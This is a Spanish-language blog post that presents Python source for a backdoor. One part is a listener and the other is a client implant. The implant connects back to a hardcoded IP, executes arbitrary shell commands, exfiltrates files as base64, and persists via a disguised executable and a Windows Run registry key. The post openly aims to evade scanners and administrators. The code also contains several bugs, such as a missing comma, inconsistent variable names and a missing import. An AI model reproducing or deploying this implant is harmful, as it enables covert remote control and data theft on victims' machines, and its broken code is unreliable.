backdoor con python

Backdoor con python

by Mayra Salas

Seguro que ya habrán visto algunas funciones en python que ejecutan comandos como si estuvieran en una shell y con las cuales podemos hacer un backdoor y mantener el acceso en un servidor.  

Hoy además, les quiero mostrar algunos códigos ingeniosos para llegar a ello y así pasar desapercibido ante un scanner o hasta ante el mismísimo administrador Web.

from distutils.cmd import Command
from email.headerregistry import Address
from logging.config import listen
from operator import truediv
import socket
import json
from unittest import result
import base64

class Listener:
    def __init__(self, ip port):
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind((ip, port))
        listener.listen(0)
        print("[+] Esperando por conexiones")
        self.connection, address = listener.accept()
        print("[+] Tenemos una conexion de" + str(address))

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data)

    def reliable_recieve(self):
        json_data = ""
        while True:
            try:
                json_data = self.connection.recv(1024)
                return json.loads(json_data) 
            except ValueError:   
                continue

    def escribir_archivo(self, path, content):
        with open(path, "wb") as file:
            file.write(base64.b64decode(content))
            return "[=] Descarga realizada"            

    def ejecutar_remoto(self, command):
        self.reliable_send(command)
        
        if command[0] == "salir":
            self.connection.close()
            exit()


        return self.reliable_recieve()



    def run(self):
        while True: #si es python 2 utulizar el raw_input
            Command = input(">> ")
            Command = Command.split(" ")
            result = self.ejecutar_remoto(command)

            if Command[0] == "descargar":
                result = self.escribir_archivo(Command[1], result)

            print(result) 

    escuchar = Listener ("192.168.20.1",44444)  ##IP SERVER
    escuchar.run()             

import base64
from distutils.cmd import Command
from multiprocessing import connection
from operator import truediv
import shutil
import socket
import subprocess
import json
from tkinter.tix import Tree
import os
import base64
import shutil


class Back:
    def __init__(self, ip , port):
        ##self.become_persitent
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip, port))

    def become_persitent(self):
        evil_file_location = os.environ["appdata"] + "\\windows Explore.exe"
        if not os.path.exists(evil_file_location):
            shutil.copyfile(sys.executable, evil_file_location)
            subprocess.call ('reg add HKCU\Sofware\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d "'+ evil_file_location + '"', shell=True) 

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data)

    def reliable_recieve(self):
        json_data = ""
        while True:
            try:
                json_data = self.connection.recv(1024)
                return json.loads(json_data) 
            except ValueError:   
                continue

    def ejecutar_comando(self,command):
        return subprocess.check_output(command, shell=True)  

    def cambiar_directorio(self,path):
        os.chdir(path)
        return "[+] Cambiando directorio a " + path

    def leer_archivo(self,path):
        with open(path, "rb") as file:
            return base64.b64encode(file.read())


    def run(self):
        while True:
            Command = self.reliable_recieve()
            if command[0] == "salir":
                 self.connection.close()
                 exit()
            elif Command[0] == "cd" and len(Command) > 1:    
                resultados_comando = self.cambiar_directorio(Command[1])
            elif Command[0] == "descargar":
                resultados_comando = self.leer_archivo(Command[1])
            else:
                resultados_comando = self.ejecutar_comando(command) 

            self.reliable_send(resultados_comando)
#file_name = sys._

try:
    puerta = Back("192.169.100.20",4444) ## IP SERVER
    puerta.run()       
except Exception:
    sys.exit()

¡No use esta herramienta para uso ilegal!

Related Posts

1 comment

Greg 10 noviembre, 2022 - 5:33 pm

Tengo una duda, quiero implementar también la subida de archivos mediante la función

def subida_archivos(self, path, content):
with open(path, ‘wb’) as file:
file.write(base64.b64decode(content))
return ‘[+] Subida exitosa.’

y luego se agrega a la función run, pero no logro que funcione correctamente

Reply

Leave a Comment